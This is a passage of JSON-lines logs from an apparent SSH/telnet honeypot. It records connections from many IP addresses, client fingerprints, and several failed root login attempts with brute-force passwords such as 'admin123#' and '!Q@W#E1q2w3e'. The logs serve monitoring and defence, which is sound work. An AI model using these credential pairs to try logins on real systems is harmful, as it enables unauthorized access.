{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:49.573382Z","src_ip":"43.156.97.164","session":"62e863435021","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:49.823719Z","src_ip":"43.156.97.164","session":"62e863435021","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"traxdata","message":"login attempt [root/traxdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:50.837749Z","src_ip":"43.156.97.164","session":"62e863435021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:52.086822Z","src_ip":"43.156.97.164","session":"62e863435021","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.304996728897095,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:54.919263Z","src_ip":"192.119.13.58","session":"030f15a81a46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41244,"dst_ip":"10.17.0.5","dst_port":23,"session":"31e12c7442d7","protocol":"telnet","message":"New connection: 192.119.13.58:41244 (10.17.0.5:23) [session: 31e12c7442d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:02.132895Z"}
{"eventid":"cowrie.session.closed","duration":49.28959584236145,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:03.425489Z","src_ip":"192.119.13.58","session":"43948935ae46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47274,"dst_ip":"10.17.0.5","dst_port":23,"session":"28fd33d35935","protocol":"telnet","message":"New connection: 192.119.13.58:47274 (10.17.0.5:23) [session: 28fd33d35935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:03.612516Z"}
{"eventid":"cowrie.session.closed","duration":46.231438875198364,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:07.218636Z","src_ip":"192.119.13.58","session":"eeae985a75ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.86472988128662,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:09.126164Z","src_ip":"192.119.13.58","session":"3292ed029443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43748,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d61728ae30","protocol":"telnet","message":"New connection: 192.119.13.58:43748 (10.17.0.5:23) [session: 30d61728ae30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:09.902345Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44120,"dst_ip":"10.17.0.5","dst_port":23,"session":"51c1323d8978","protocol":"telnet","message":"New connection: 192.119.13.58:44120 (10.17.0.5:23) [session: 51c1323d8978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:09.998177Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":44674,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea4639eb26ec","protocol":"ssh","message":"New connection: 41.242.115.83:44674 (159.203.135.109:22) [session: ea4639eb26ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:12.393690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:12.402039Z","src_ip":"41.242.115.83","session":"ea4639eb26ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:12.610728Z","src_ip":"41.242.115.83","session":"ea4639eb26ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#","message":"login attempt [root/admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:13.473543Z","src_ip":"41.242.115.83","session":"ea4639eb26ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:14.685628Z","src_ip":"41.242.115.83","session":"ea4639eb26ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36274,"dst_ip":"10.17.0.5","dst_port":23,"session":"54f4ec90e7a9","protocol":"telnet","message":"New connection: 192.119.13.58:36274 (10.17.0.5:23) [session: 54f4ec90e7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:15.417240Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2374,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cf8c903d3a","protocol":"ssh","message":"New connection: 181.0.214.136:2374 (159.203.135.109:22) [session: d6cf8c903d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.094680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.099710Z","src_ip":"181.0.214.136","session":"d6cf8c903d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.270378Z","src_ip":"181.0.214.136","session":"d6cf8c903d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":40910,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b091aef191f","protocol":"ssh","message":"New connection: 14.224.227.189:40910 (159.203.135.109:22) [session: 0b091aef191f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.483763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.489184Z","src_ip":"14.224.227.189","session":"0b091aef191f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.735257Z","src_ip":"14.224.227.189","session":"0b091aef191f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"2548f60ba241","protocol":"telnet","message":"New connection: 192.119.13.58:42044 (10.17.0.5:23) [session: 2548f60ba241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.840561Z"}
{"eventid":"cowrie.session.closed","duration":0.006182193756103516,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.846627Z","src_ip":"192.119.13.58","session":"2548f60ba241","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"jh@123","message":"login attempt [root/jh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:16.959350Z","src_ip":"181.0.214.136","session":"d6cf8c903d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E1q2w3e","message":"login attempt [root/!Q@W#E1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:17.729353Z","src_ip":"14.224.227.189","session":"0b091aef191f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:18.143059Z","src_ip":"181.0.214.136","session":"d6cf8c903d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:18.970744Z","src_ip":"14.224.227.189","session":"0b091aef191f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.77692484855652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:20.284593Z","src_ip":"192.119.13.58","session":"64441422de79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.29178524017334,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:20.503424Z","src_ip":"192.119.13.58","session":"efef17ba4f25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34626,"dst_ip":"10.17.0.5","dst_port":23,"session":"3417648533d4","protocol":"telnet","message":"New connection: 192.119.13.58:34626 (10.17.0.5:23) [session: 3417648533d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:22.007385Z"}
{"eventid":"cowrie.session.closed","duration":0.005460977554321289,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:22.012728Z","src_ip":"192.119.13.58","session":"3417648533d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53318,"dst_ip":"10.17.0.5","dst_port":23,"session":"98245c0ac135","protocol":"telnet","message":"New connection: 192.119.13.58:53318 (10.17.0.5:23) [session: 98245c0ac135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:26.774845Z"}
{"eventid":"cowrie.session.closed","duration":40.075525999069214,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:27.806598Z","src_ip":"192.119.13.58","session":"dfdacdb3bff6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.571162700653076,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:37.183571Z","src_ip":"192.119.13.58","session":"28fd33d35935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.998542070388794,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:39.131310Z","src_ip":"192.119.13.58","session":"31e12c7442d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.705764055252075,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:46.703628Z","src_ip":"192.119.13.58","session":"51c1323d8978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.256566524505615,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:49.158751Z","src_ip":"192.119.13.58","session":"30d61728ae30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":9178,"dst_ip":"10.17.0.5","dst_port":22,"session":"c35f4f304705","protocol":"ssh","message":"New connection: 38.93.206.2:9178 (10.17.0.5:22) [session: c35f4f304705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:49.498708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:49.503641Z","src_ip":"38.93.206.2","session":"c35f4f304705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:49.554242Z","src_ip":"38.93.206.2","session":"c35f4f304705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159753asd","message":"login attempt [root/159753asd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:49.711533Z","src_ip":"38.93.206.2","session":"c35f4f304705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:50.766463Z","src_ip":"38.93.206.2","session":"c35f4f304705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35634,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cb3e356d11e","protocol":"telnet","message":"New connection: 192.119.13.58:35634 (10.17.0.5:23) [session: 9cb3e356d11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:57.974749Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":47924,"dst_ip":"159.203.135.109","dst_port":22,"session":"49f556f37824","protocol":"ssh","message":"New connection: 103.122.221.179:47924 (159.203.135.109:22) [session: 49f556f37824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:59.655638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:59.661215Z","src_ip":"103.122.221.179","session":"49f556f37824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:08:59.927680Z","src_ip":"103.122.221.179","session":"49f556f37824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f","message":"login attempt [root/f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:00.723895Z","src_ip":"103.122.221.179","session":"49f556f37824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:01.994272Z","src_ip":"103.122.221.179","session":"49f556f37824","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":52692,"dst_ip":"159.203.135.109","dst_port":22,"session":"faeb3d804803","protocol":"ssh","message":"New connection: 43.156.97.164:52692 (159.203.135.109:22) [session: faeb3d804803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:02.479692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:09:02.485332Z","src_ip":"43.156.97.164","session":"faeb3d804803","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-s